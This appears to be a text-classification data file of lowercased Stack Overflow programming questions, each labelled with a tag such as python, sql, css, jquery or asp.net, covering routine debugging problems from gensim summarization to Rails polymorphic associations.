summarization of text data using gensim  i have movie reviews set containing 50000 data containing 25000 postive and 25000 negative reviews. it contains movie reviews the first 25000 contains negative and the remaining 25000 contains positive reviews. i am attaching below the sample of the same   <pre><code>reviews type 0   story of a man who has unnatural feelings for ...   negative 1   airport  77 starts as a brand new luxury 747 p...   negative 2   this film lacked something i couldn t put my f...   negative 3   sorry everyone    i know this is supposed to b...   negative 4   when i was little my parents took me along to ...   negative </code></pre>   now i want to summarize the information contained in each rows. i used the following function   <pre><code>import logging logging.basicconfig(format= %(asctime)s : %(levelname)s : %(message)s   level=logging.info)  from gensim.summarization import summarize train=   .join(list(train)) train=summarize(train) </code></pre>   the output i am getting is the following. the computer is hanging and i am not getting the results.   <pre><code>2017-11-22 06:37:10 557 : info : adding document #0 to dictionary(0 unique tokens: []) 2017-11-22 06:37:10 934 : info : adding document #10000 to dictionary(10618 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:11 262 : info : adding document #20000 to dictionary(14862 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:11 591 : info : adding document #30000 to dictionary(18318 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:11 908 : info : adding document #40000 to dictionary(20990 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:12 246 : info : adding document #50000 to dictionary(23295 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:12 690 : info : adding document #60000 to dictionary(25259 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:13 173 : info : adding document #70000 to dictionary(27283 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:13 629 : info : adding document #80000 to dictionary(29140 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:14 091 : info : adding document #90000 to dictionary(30618 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:14 731 : info : adding document #100000 to dictionary(32205 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:15 245 : info : adding document #110000 to dictionary(33402 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:15 603 : info : adding document #120000 to dictionary(34728 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:16 008 : info : adding document #130000 to dictionary(36002 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:16 604 : info : adding document #140000 to dictionary(37306 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:17 291 : info : adding document #150000 to dictionary(38771 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:17 908 : info : adding document #160000 to dictionary(40006 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:18 511 : info : adding document #170000 to dictionary(41401 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:19 103 : info : adding document #180000 to dictionary(42573 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:19 671 : info : adding document #190000 to dictionary(43888 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:20 187 : info : adding document #200000 to dictionary(45151 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:20 587 : info : adding document #210000 to dictionary(46253 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:21 106 : info : adding document #220000 to dictionary(47392 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:21 457 : info : adding document #230000 to dictionary(48274 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:21 804 : info : adding document #240000 to dictionary(49421 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:22 147 : info : adding document #250000 to dictionary(50454 unique tokens: [ stori    man    unnatur    feel    pig ]...) 2017-11-22 06:37:22 408 : info : built dictionary(51161 unique tokens: [ stori    man    unnatur    feel    pig ]...) from 257625 documents (total 2567403 corpus positions) </code></pre>   please help me a solution.    thanks in advance.,python
confused on which one to to use - linq to sql  datasets or ado.net data entity model   i m a pretty descent old school aspnet developer i.e i still use visual studio 2005 &amp; webforms to build websites.    but with all the recent mvc hype i decided to get a copy of vs 2010 express and get aquainted with  new school  aspnet development.    i have always relied on datasets to build my n-tier my web apps but vs 2010 has introduced me to new orms i.e linq to sql &amp; ado.net data entity model.    so now i m confused on which one to use. microsoft must had a reason to provide us with the 3 options...i just need to know when &amp; why to use which model.,asp.net
view the results in a view or table valued function  i have a query which compares two requests and displayes yes/no based on comparing each column returned in the select query. how do i change this to be able to retreive the same results in a view or a table valued function. i get the results when i use the sql to create a stored procedure but our business objects application is unable to execute the sql    below is my sql   <pre><code>declare @foo table (requestid int  receiveddate datetime  neededby datetime busneed varchar(1000)   rptcomments varchar(1000)  reportfrequency varchar(100)  defineschedule varchar(250)  schedulebasedon varchar(250)   clmsrvdtfrom datetime  clmsrvdtthru datetime   clmpddtfrom datetime  clmpddtthru datetime )  insert @foo (requestid receiveddate neededby busneed rptcomments reportfrequency defineschedule schedulebasedon clmsrvdtfrom clmsrvdtthru clmpddtfrom clmpddtthru) select requestid receiveddate neededby busneed rptcomments reportfrequency defineschedule schedulebasedon clmsrvdtfrom clmsrvdtthru clmpddtfrom clmpddtthru from report_request where requestid = 1494 insert @foo (requestid receiveddate neededby busneed rptcomments reportfrequency defineschedule schedulebasedon clmsrvdtfrom clmsrvdtthru clmpddtfrom clmpddtthru) select requestid receiveddate neededby busneed rptcomments reportfrequency defineschedule schedulebasedon clmsrvdtfrom clmsrvdtthru clmpddtfrom clmpddtthru from report_request where requestid = 1495   select cast(requestid as varchar(max)) requestid  cast(receiveddate as varchar(max)) as receiveddate  cast(neededby as varchar(max)) as neededby  cast(busneed as varchar(max)) as busneed  cast(rptcomments as varchar(max)) as rptcomments  cast(reportfrequency as varchar(max)) as reportfrequency  cast(defineschedule as varchar(max)) as defineschedule  cast(schedulebasedon as varchar(max)) as schedulebasedon  cast(clmsrvdtfrom as varchar(max)) as clmsrvdtfrom  cast(clmsrvdtthru as varchar(max)) as clmsrvdtthru  cast(clmpddtfrom as varchar(max)) as clmpddtfrom  cast(clmpddtthru as varchar(max)) as clmpddtthru from customer_request where requestid = 1494  union all select cast(requestid as varchar(max)) requestid  cast(receiveddate as varchar(max)) as receiveddate  cast(neededby as varchar(max)) as neededby  cast(busneed as varchar(max)) as busneed  cast(rptcomments as varchar(max)) as rptcomments  cast(reportfrequency as varchar(max)) as reportfrequency  cast(defineschedule as varchar(max)) as defineschedule  cast(schedulebasedon as varchar(max)) as schedulebasedon  cast(clmsrvdtfrom as varchar(max)) as clmsrvdtfrom  cast(clmsrvdtthru as varchar(max)) as clmsrvdtthru  cast(clmpddtfrom as varchar(max)) as clmpddtfrom  cast(clmpddtthru as varchar(max)) as clmpddtthru from customer_request where requestid = 1495  union all   select      case when a.requestid = b.requestid then  yes  else  no   end as requestid      case when a.receiveddate = b.receiveddate then  yes  else  no  end as receiveddate      case when a.neededby = b.neededby then  yes  else  no  end neededby      case when a.busneed = b.busneed then  yes  else  no  end busneed      case when a.rptcomments = b.rptcomments then  yes  else  no  end rptcomments      case when a.reportfrequency = b.reportfrequency then  yes  else  no  end as reportfrequency      case when a.defineschedule = b.defineschedule then  yes  else  no  end as defineschedule      case when a.schedulebasedon = b.schedulebasedon then  yes  else  no  end as schedulebasedon      case when a.clmsrvdtfrom = b.clmsrvdtfrom then  yes  else  no  end as clmsrvdtfrom      case when a.clmsrvdtthru = b.clmsrvdtthru then  yes  else  no  end as clmsrvdtthru      case when a.clmpddtfrom = b.clmpddtfrom then  yes  else  no  end as clmpddtfrom      case when a.clmpddtthru = b.clmpddtthru then  yes  else  no  end as clmpddtthru  from     (select * from @foo where requestid = 1494) as a inner join     (select * from @foo where requestid = 1495) as b  on 1 = 1 </code></pre>   need help please,sql
how do rails extract an id from an instance variable   i m reading <a href= http://guides.rubyonrails.org/routing.html  rel= nofollow > rails routing from the outside in  on railsguides.</a>      in section 1.2  it says    <pre><code>&lt;%= link_to  patient record   patient_path(@patient) %&gt; </code></pre>   will generate the path /patients/17.      what i d like to know is how rails extract the id from the instance variable. i ve been trying to find the corresponding line of the code on <a href= https://github.com/rails/rails  rel= nofollow >github</a> but can t find.,ruby-on-rails
nameerror when calling a user-defined function in another user-defined function  i need to write a program that opens and reads a file and contains separate user-defined functions for counting the number of lines and words in the file e.g. linecount()  wordcount()etc. i drafted the below code  but i keep getting a name error that says  global name  f  is not defined . f is a file handle that should be returned by the openfile() function. any advise    <pre><code>#open and read file def openfile():     import string     name = raw_input ( enter file name:  )     f = open (name)  # calculates the number of paragraphs within the file  def linecount():     openfile()     lines = 0     for line in f:         lines = lines + 1     return lines  #call function that counts lines linecount() </code></pre>,python
polymorphic association undefined method `build_product   i am struggling to see what i am doing wrong here..    i have an order model which needs to be able to hold one product  the product needs to be polymorphic.    i have a product/model called orthosis_specification and for some reason i am getting this error when i use it in a fields_for creation.    migration -   <pre><code>class createorders &lt; activerecord::migration   def change     create_table :orders do |t|       t.datetime :order_date       t.datetime :date_required       t.boolean :correct       t.references :user  index: true  foreign_key: true       t.references :practitioner  index: true  foreign_key: true       t.references :product  polymorphic: true       t.references :shipping_address  index: true  foreign_key: true       t.references :invoice_address  index: true  foreign_key: true       t.timestamps null: false     end   end end </code></pre>   order controller -   <pre><code>  def new     @order = order.new     @order.build_patient     @order.build_product #also tried: @order.build_orthosis_specification   end </code></pre>   order model -   <pre><code>class order &lt; activerecord::base   has_one :patient   belongs_to :product  polymorphic: true   accepts_nested_attributes_for :patient                                  reject_if: proc { |attributes| attributes[ first_name ].blank  }                                  allow_destroy: true   accepts_nested_attributes_for :product                                  reject_if: proc { |attributes| attributes[ transfer_name ].blank  }                                  allow_destroy: true    def to_s     name   end end </code></pre>   orthosis specification model -   <pre><code>class orthosisspecification &lt; activerecord::base     has_one :order  :as =&gt; :product  class_name:  order  end </code></pre>   order view -   <pre><code>  &lt;%= form_for(@order) do |f| %&gt;   &lt;% if @order.errors.any  %&gt;   &lt;% end %&gt;  &lt;%= f.fields_for :orthosis_specification do |fa| %&gt; </code></pre>   actual error message -   <pre><code>undefined method `build_orthosis_specification  for #&lt;order:0x007f8950e29970&gt; </code></pre>   orthosis specification migration -   <pre><code>class createorthosisspecifications &lt; activerecord::migration   def change     create_table :orthosis_specifications do |t|       t.string :transfer_name       t.string :modifications       t.string :primary_mods       t.string :top_opening       t.string :side_opening       t.string :chape_position       t.string :scan_file     end   end end </code></pre>   any help would be massively appreciated  thanks!,ruby-on-rails
creating a website in html not xml  call me crazy but i have been trying to make an html website using visual studio 2012 but every time i open the program and create a webpage it automatically makes it an xml. is this normal  is this the normal start to an html webpage or do i need to do something to change it      i have looked through the microsoft webpages help and the visual studio help and i cannot find anything that explains this to me.     all i want to do is make an html website              <pre><code>&lt;head&gt;  &lt;style&gt;  &lt;/style&gt; &lt;/head&gt;  &lt;body&gt; &lt;h1&gt;&lt;/h1&gt; &lt;h2&gt;&lt;/h2&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   i know i can do this using a notepad.    thanks for any help.,html
reading file from c drive from android emulator  i am trying out a test application on an android emulator.  i would like the app to write data to a file that is stored on my c drive. i have read and written data off samba drives and webservices  but reading and writing to my local hard seems to be a puzzle.  i tried <code>filepath =  file:///c:/test/input/ ;</code> to point it as my parent folder  but the emulator doesn t seem to recognize the directory  and i get a  not found  error.    any ideas will be appreciated.  thanks.,android
style the last table  i want to set a border on a table. my problem is: that on some pages one or more table are around the real one.    so my question is: how can i set the border only on the last table within others  or when the table is alone  than this one     example:   <pre><code>&lt;table&gt; .. this table should have borders.. &lt;/table&gt;  &lt;table&gt; /* this one shouldn t have borders*/   &lt;tr&gt;&lt;td&gt;     &lt;table&gt;     .. this table should have borders..     &lt;/table&gt;   &lt;/td&gt;&lt;/tr&gt; &lt;/table&gt;  </code></pre>   thank you for your help    i have an example here: <a href= http://jsfiddle.net/ecto0jtd/  rel= nofollow >http://jsfiddle.net/ecto0jtd/</a>    ok  i think the idea from anonymousxxx (<a href= http://jsfiddle.net/fauzi/k0ntkt4d/1/  rel= nofollow >http://jsfiddle.net/fauzi/k0ntkt4d/1/</a>) is the easiest way to solve this. thank you,css
how to prevent a window is minimized in java  i m working on java and i need to create a window that can not be minimized  even by pressing win + d or click the bottom right corner windows. it is possible  i need some help  i ve never tried. thank you,java
buttons are moving towards top when clicked  i have a live site in this <a href= http://buypcgamecdkeys.com/  rel= nofollow >link</a>. in that home page under featured product category you can see there are some products. under every product there is a button called add to cart. now ehen you click on add to cart button then you can see that the button will jump towards the top part  i am using chrome browser so check with it. so can someone kindly tell me how to solve this issue. help and suggestions will be appreciable. thanks    <strong>update</strong>    in that i have used position: absolute  this is used to make all the buttons in that row to aligned in a line. so if you are giving suggestions to remove that then keep in mind that i have to keep all these buttons in aligned.,css
conditionally trigger a full page postback from a link button inside an update panel  how do i conditionally trigger a full page postback from a link button inside of an update panel     i have a custom control that contains its own updatepanel with a link button nested inside of  it. when the link button is pressed i want its event handler to have the option of either letting the control update as normal or doing a full postback on the page.    <strong>here is the control hierarchy:</strong>   <pre><code>page   custom control     updatepanel       linkbutton </code></pre>   <strong>event handler pseudo code:</strong>   <pre><code>linkbutton click handler begin     if is a partial post back and a full postback is needed         page.dofullpostback      end if end handler </code></pre>   <strong>note:</strong> i aways need the partial postback to happen. i was considering injecting a <code>__dopostback</code> in the controls markup but this seems hacky to me.    thanks for your help!,asp.net
"mysql - update query with a unique key - after slide_id=4  i have this sql fiddle <a href= http://sqlfiddle.com/#!9/c04ff7/2  rel= nofollow noreferrer >http://sqlfiddle.com/#!9/c04ff7/2</a> (i am not sure how to copy the code here on stackoverflow as a sql fiddle)    what i tried manually is to update the slide_id to 5 but it throws uniqueness error.    what i am trying to do is update the table <code>course</code> such that from <code>slide_id=3 onwards every slide_id is incremented to 1 example slide_id=4 would be 5 slide_id=5 would be 6 and so on</code>    is that possible through an update statement  without throwing a unique key error    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>create table `course` (
   `id` int(11) not null 
   `slide_id` int(11) not null 
   `course_id` int(11) not null
 ) engine=innodb default charset=utf8;
 
 alter table `course`
   add primary key (`id`) 
   add unique key `slide_id` (`slide_id` `course_id`);
 
 --
 -- auto_increment for dumped tables
 --
 
 --
 -- auto_increment for table `course`
 --
 alter table `course`
   modify `id` int(11) not null auto_increment  auto_increment=1026;
   
 
 insert into `course` (`id`  `slide_id`  `course_id`) values
 (489  1  6) 
 (490  2  6) 
 (491  3  6) 
 (492  4  6) 
 (493  5  6) 
 (494  6  6) 
 (495  7  6) 
 (496  8  6) 
 (497  9  6) 
 (498  10  6) 
 (499  11  6) 
 (500  12  6) 
 (501  13  6) 
 (502  14  6) 
 (507  15  6) 
 (509  16  6) 
 (511  17  6) 
 (512  18  6) 
 (513  19  6) 
 (517  20  6) 
 (518  21  6) 
 (520  22  6) 
 (521  23  6) 
 (522  24  6) 
 (524  25  6) 
 (525  26  6) 
 (526  27  6) 
 (527  28  6) 
 (528  29  6) 
 (529  30  6) 
 (531  31  6) 
 (532  32  6) 
 (533  33  6) 
 (1025  34  6);</code></pre>
 </div>
 </div>",mysql
moving user to another page by entering correct password using php  i have a log in page. i want that when the user enters the correct username and password the the page he want open for him. and if the password and username wasn t correct he receive an error in the current page. and another problem is that when you open the page first  you have an php undefined index error.    <pre><code>&lt;form action= &lt; php echo $_server[ php_self ] &gt;  method= post &gt;        &lt;div class= data &gt;        &lt;label for= name &gt;username: &lt;/label&gt;           &lt;input type= text  name= username /&gt;        &lt;/div&gt;        &lt;div class= data &gt;        &lt;label for= name &gt;password: &lt;/label&gt;           &lt;input type= password  name= password /&gt;        &lt;/div&gt;        &lt;input type= submit  value= log in  name= submit  id= submit /&gt; &lt; php $dbusername =  alex ; $dbpassword =  1234 ;  $username = $_post[ username ];  $password = $_post[ password ];  if($username = $dbusername&amp;&amp;$password = $dbpassword){     //the code which moves the user to another page.  }else echo  please enter the correct username and password ;  &gt;    &lt;/form&gt; </code></pre>   thanks.,php
blending colors ios  i want to rectangular crop the eye from one face and paste it on another face  so that in the resulting image skin color of portion of eye blend nicely with the face color of the persons on which we are pasting eyes. i am able to crop and paste  but having problem with blending. currently  the boundaries of the rectangular cropped eye after pasting are very much visible. i want to reduce this effect  so that the eyes nicely blend with face and resulting image won t look fake.,ios
preprocessor adding extra (unwanted) space under last div/footer  inspite of setting all margins and padding to 0  i m suddenly finding that processing my html &amp; css using a <strong>prepros</strong>  is adding extra (unwanted) space under my last item eg. footer. while running the same html &amp; css directly from notepad++  does not do this (thankfully). can someone please explain why this is happening since i will eventually be using prepos and running from a local host.  here is the html:   <pre><code>&lt;!doctype html&gt; &lt;html&gt;   &lt;head&gt;     &lt;meta charset= utf=8 &gt;     &lt;title&gt;title&lt;/title&gt;     &lt;meta name= viewport  content= width=device-width initial-scale=1 &gt;     &lt;link rel= stylesheet  href= style.css &gt;     &lt;/head&gt;    &lt;body&gt;               &lt;header&gt;header             &lt;/header&gt;              &lt;div class= wrapper &gt;wrapper1             &lt;/div&gt;             &lt;div class= wrapper &gt;wrapper2             &lt;/div&gt;              &lt;footer&gt;footer             &lt;/footer&gt;    &lt;/body&gt;  &lt;/html&gt; </code></pre>   here is the css:   <pre><code>html{ margin: 0; padding: 0; border: 3px solid green; }  body{ margin: 0; padding: 0; display: flex; flex-direction: column; border: 3px solid lightblue; height: 100vh; }   header{ flex: 1; height: 50%; background-color: red; border: 3px solid black; }  .wrapper{ flex: 1; height: 20%; background-color: blue; border: 3px solid black; }  footer{ height: 5%; position: absolute: bottom: 0; background-color: orange; margin: 0; padding: 0; } </code></pre>   here are images of the same code running  first from file:/// and the other from localhost:    <a href= https://i.stack.imgur.com/6hvsh.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/6hvsh.jpg  alt= enter image description here ></a>    <a href= https://i.stack.imgur.com/ymueo.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ymueo.jpg  alt= enter image description here ></a>    (edit: addition)is it possible that this has something to do with the <strong>prepros.cfg</strong> file that gets added by <strong>prepros</strong>  i am also using a trial version of prepros - could this be causing the issue  would appreciate any clarification on this matter. note: above is the discrepancy in every browser i tried it on (chrome  firefox and opera).,css
error alert box when clicking between 2 links  i seem to get the random alert when i am clicking between two links and all that is returned is an alert that reads <code>error</code>. there is no javascript error logged in the console. the code being executed each time i move between the links is    <pre><code>jquery.validator.setdefaults({     errorelement:  p       errorclass:  s_error_msg       errorplacement: function(error  element) {         error.insertafter(element);     }      highlight: function(element  errorclass  validclass) {         $(element).addclass( error_element ).removeclass(validclass);         $(element).parent( div ).addclass( s_error_row );     }      unhighlight: function(element  errorclass  validclass) {         $(element).removeclass( error_element ).addclass(validclass);         $(element).parent( div ).removeclass( s_error_row );     } }); $( #login ).validate();​ </code></pre>   what could be causing such an alert to appear and what do i need to fix     <strong>edit</strong>    i came across a similar error while traversing the interwebs but for the life of me can t figure it out. if you keep going back and forth between login and register multiple times  it throws an error - <a href= https://shoppica2.com/index.php route=account/login  rel= nofollow noreferrer >https://shoppica2.com/index.php route=account/login</a>    <strong>edit</strong>    i have attached an image of the error. i am not calling facebook but still get the same error.    <img src= https://i.stack.imgur.com/ohsrl.png  alt= enter image description here >,jquery
uncaught typeerror: cannot use  in  operator to search for...custum jquery plugin  i ve searched  and found <a href= https://stackoverflow.com/questions/14966487/jquery-ui-autocomplete-json-gives-error-uncaught-typeerror-cannot-use-in-ope >this question</a>  <a href= https://stackoverflow.com/questions/14617367/cannot-use-in-operator-to-search-for-id-in >that question</a>  and <a href= https://stackoverflow.com/questions/15183183/cannot-use-in-operator-to-search-for-in-undefined >the other question</a>  and while they are close nothing seems to match my problem.    i m trying to spin <a href= https://stackoverflow.com/questions/12555995/jquery-each-letter-in-div-element-random-colour-from-array-on-hover#12556124 >this answer</a> into a plugin  and this isn t the <a href= https://stackoverflow.com/questions/23851982/listener-in-custom-jquery-plugin-not-firing-using-a-variable-for-on-event >first time i got stuck</a>.     <strong>the problem</strong>    i m trying to create a jquery plugin that wraps each letter with a span  and then styles it with random colors and font sizes.  the plugin should work on hover  or click.  when the page first loads  there are no errors.  on hover  or click  the error  uncaught typeerror: cannot use  in  operator to search for...  appears.    <strong>the html</strong>   <pre><code>&lt;div id= firstbox &gt;this box works on hover!&lt;/div&gt; &lt;div id= secondbox &gt;this box works on click!&lt;/div&gt; &lt;div id= thirdbox &gt;this box has custom settings!&lt;/div&gt; </code></pre>   <strong>the jquery</strong>   <pre><code>;(function ($) {   $.fn.randomletterstyles = function( options ) {      var settings = $.extend({       colors: [ #ddd    #333    #999    #bbb ]        sizes:[ 12 ]        type: hover         defaultcolor:  #999         defaultsize:  12      }  options );      if(settings.type ==  hover ) {       $(this).hover(function(){                 wrapletters(this);           $( .random-styles   this).css( color   randomcolor());           $( .random-styles   this).css( font-size   randomsize());       }  function(){           $( .random-styles   this).css({ color :settings.defaultcolor   font-size :settings.defaultsize});            });      }     else if(settings.type ==  click ) {       $(this).on( click   function() {           wrapletters(this);           $( .random-styles   this).css( color   randomcolor());           $( .random-styles   this).css( font-size   randomsize());       });     }     else {       return  invalid type ;     }   };         //recursive function by logan smyth   // wrap every letter in a &lt;span&gt; with .random-color class.   function wrapletters(el){     if ($(el).hasclass( random-styles )) return;      // go through children  need to make it an array because we modify     // childnodes inside the loop and things get confused by that.     $.each($.makearray(el.childnodes)  function(i  node){       // recursively wrap things that aren t text.       if (node.nodetype !== node.text_node) return wrapletters(node);        // create new spans for every letter.       $.each(node.data  function(j  letter){         var span = $( &lt;span class= random-styles &gt; ).text(letter);         node.parentelement.insertbefore(span[0]  node);       });        // remove old non-wrapped text.       node.parentelement.removechild(node);     });   }    function randomcolor() {     var index = math.floor(math.random() * settings.colors.length);     return settings.colors[index];   }    function randomsize() {     var index = math.floor(math.random() * settings.sizes.length);     return settings.sizes[index];   } } ( jquery ));   $(document).ready(function () {   $( #firstbox ).randomletterstyles();   $( #secondbox ).randomletterstyles({type: click });   $( #thirdbox ).randomletterstyles();  }); </code></pre>   if it helps  i have <a href= http://jsfiddle.net/mathieujonson/u78rv/  rel= nofollow noreferrer >this fiddle</a> to play with.,jquery
making a decimal a variable  so i have a type of code that tells me the number of boxes and packages needed. so for an instances e = number of engines and b = boxes and p =packages. lets say i need 67 engines  i have b = e(67)/24 which should give me 2.7 because 67/24. i have to have the computer say 2 boxes and 7 engines  but i dont know how to do that.    thanks!   <pre><code>    // include section      #include &lt;iostream&gt;      #include &lt;iomanip&gt;      #include &lt;cstdlib&gt;      using namespace std;       // main program      int main( )      {         int e;     // number of engines needed         double cb; // the cost of the boxes containing 24 engines         double cp; // the cost of the packages containing 3 engines         int b;     // the number of boxes needed to get the amount                           int p;     // the number of packages needed to get the amount of engines         double c;  // the total cost of all the engines desired.      // output identification      system( cls );      cout &lt;&lt;  take home #5 by yousef saqer -            &lt;&lt;  calculate engine purchase\n\n ;      cout &lt;&lt;   enter the number of engines needed:  ;     cin &gt;&gt; e;     cout &lt;&lt;   enter the cost of a box of 24 engines:  ;     cin &gt;&gt; cb;     cout &lt;&lt;   enter the cost of a package of 3 engines:  ;     cin  &gt;&gt; cp;       if(e &lt; 24)    {     b = e / 24;     p = e / 3;     c = cb * b + cp * p;      if(e &gt; 3)     {         p++;         cout &lt;&lt;   you will need to purchase   &lt;&lt; p          &lt;&lt;   packages of engines at a total cost of $ &lt;&lt; c &lt;&lt; endl;     }      else     {         cout &lt;&lt;   you will need to purchase   &lt;&lt; 1         &lt;&lt;   package of engines at a total cost of $ &lt;&lt; cp &lt;&lt; endl;     }      }     else    {     b = e / 24;     p = e/24.0;     c = cb * b + cp * p;      if( b != 1)     {         cout &lt;&lt;   you will need to purchase   &lt;&lt; b &lt;&lt;   boxes and            &lt;&lt; p &lt;&lt;   packages of engines at a total cost of $ &lt;&lt; c&lt;&lt; endl;     }      else     {         cout &lt;&lt;   you will need to purchase   &lt;&lt; b &lt;&lt;   box and            &lt;&lt; p &lt;&lt;   packages of engines at a total of $  &lt;&lt; c &lt;&lt; endl;     }  } cout &lt;&lt;  \n\nend program.\n ;  cin.get(); cin.get();  return 0; </code></pre>   },c++
console readkey timeout  i have built a simple console application  and i need to give a specific time for user to input a keychar.    should i use this    <pre><code>system.threading.thread.sleep(1000); </code></pre>   for those who didn t understand  i need the program to skip the <code>console.readkey().keychar;</code> after <code>x</code> seconds.    is this possible,c#
retrieving information from a site using python  i am some what new to python and retrieving data from an online source in general.    i am wondering if i am able to use this data  <a href= http://www.metlink.org.nz/timetables/train/hvl  rel= nofollow >http://www.metlink.org.nz/timetables/train/hvl</a> to make a travel route application which needs a to and from location  and gets the closest times.    if so  what library should i learn  if not  do you have another example i could learn on     thanks for the answers.,python
mysql find difference from 2 tables  i need to find out how many people from our free samples table became customers in our customers table. here is what i have for the 2 tables:   <pre><code>select free_samples.id   free_samples.first_name   free_samples.last_name   free_samples.address   free_samples.city   free_samples.state   free_samples.zip from free_samples </code></pre>   and then the customers table   <pre><code>select customers.id   customers.firstname   customers.lastname   customers.address   customers.city   customers.state   customers.zip from customers </code></pre>   note that the id s are not the same so that makes it difficult to match. so again  i need to know how many free sample requests actually became customers. is there a way in with a query to identify this     thank you,mysql
login controls redirecting to default.aspx when login is successful  i use the following login controls.  problem is if user logs in correctly it automatically redirects to default.aspx.  i just want it to stay on the login page.  any ideas     code:   <pre><code>&lt;form id= form1  runat= server &gt; &lt;h1&gt;log in to management&lt;/h1&gt;        &lt;p&gt; &amp;nbsp;&lt;asp:loginview id= loginview1  runat= server &gt;             &lt;anonymoustemplate&gt;                 &lt;asp:login id= login1  runat= server       createusertext= sign up for a new account  createuserurl= signup.aspx &gt;                 &lt;/asp:login&gt;             &lt;/anonymoustemplate&gt;             &lt;loggedintemplate&gt;                 you are already logged in!             &lt;/loggedintemplate&gt;         &lt;/asp:loginview&gt;     &lt;/p&gt;     &lt;p&gt;         &lt;asp:loginstatus id= loginstatus1  runat= server  /&gt;     &lt;/p&gt;     &lt;/form&gt; </code></pre>,asp.net
get the current time  in milliseconds  in c   what is the equivalence of the java s <code>system.currenttimemillis()</code> in c,c
table view s cell.selectedbackgroundview briefly visible when returning to table view  i ve implemented a table view following matt gallagher s cocoa with love tutorial (http://cocoawithlove.com/2009/04/easy-custom-uitableview-drawing.html) and when a table cell is selected by the user a view controller with a uiwebview is pushed to the table view controller s stack.    when the user selects a row  then after returning back to the table view from the uiwebview the selected cell image displays briefly (maybe 1/5 of a second) before the table view is displayed normally.    why does this happen,ios
javascript: object.create(prototype) is not working  i am running the following in node.js:   <pre><code>function textcell(text) {     this.text = text.split( \n ); }  textcell.prototype.minwidth = function() {    return this.text.reduce(function(width  line) {       return math.max(width  line.length);    }  0); };  textcell.prototype.minheight = function() {     return this.text.length; };  textcell.prototype.draw = function(width  height) {     var result = [];     for (var i = 0; i &lt; height; i++) {       var line = this.text[i] ||   ;       result.push(line + repeat(     width - line.length));     }     return result; };  function rtextcell(text) {     textcell.call(this  text); }  rtextcell.prototype = object.create(textcell.prototype);  rtextcell.prototype.draw = function(width  height) {     var result = [];     for (var i = 0; i &lt; height; i++) {       var line = this.text[i] ||   ;       result.push(repeat(     width - line.length) + line);     }     return result; }; </code></pre>   when i console.log(rtextcell.prototype)  i get a prototype with only the draw function. also  when i log(object.create(textcell.prototype)) i just get  textcell{} . why does it seem like the clone of the prototype is empty     edit: i noticed my mistake. i made objects of type rtextcell before defining it. that s why the prototype turned out empty. sorry for not including that part here,javascript
using cfstr() & utf8string in objective c  when converting nsstring to constants  i usually use   <pre><code>[@ ...  utf8string]; </code></pre>   i was just looking over apple docs on address book programming and i see they use the macro   <pre><code>cfstr( ... ); </code></pre>   out of curiousity  i m just wondering is there any different between the two,objective-c
accessing instance constructor argument within a method  just a quick question  so i have a class named <code>animal</code> and when you create the class you can initialise it with a <code>dogname</code>.   <pre><code>class animal:      def __init__(self  dogname):         self._owner =            self._address =         def setownerdetails(self  name  address):         self._owner = name         self._address = address      def getdetails(self):         return self._owner  self._address      def getname(self):         return self.dogname         ##does not work  trying to access constructor argument. </code></pre>   so when you initialise the instance with a value  which is dogname and in this instance the dogname is lucy  how can i access this value within a method  i know i can do this by creating a instance variable but is there any other way i can do it. the variable above understandable does not work but is there any other way    <pre><code>dog1 = animal( lucy ) dog1.setownerdetails( thomas    35 trop ) result = dog1.getdetails() print(dog1.getname())  # trying to print the dog name that is in the constructor argument. </code></pre>   any help will be appreciated  i might not have explained it well.,python
how i get cpu usage and temperature information into an android app   i m developing an application and i don t know how i can get cpu usage and temperature  example in a textview. i try with <code>type_ambient_temperature</code> to get temperature  but it doesn t work. logs says that i haven t the sensor  but with other apps in the play store i get the temperature and freq..    the code works fine if i use other sensor like <code>type_gyroscope</code> or other  so i don t understand how <code>type_ambient_temperature</code> doesn t work..    sorry for my bad english...and please help me..,android
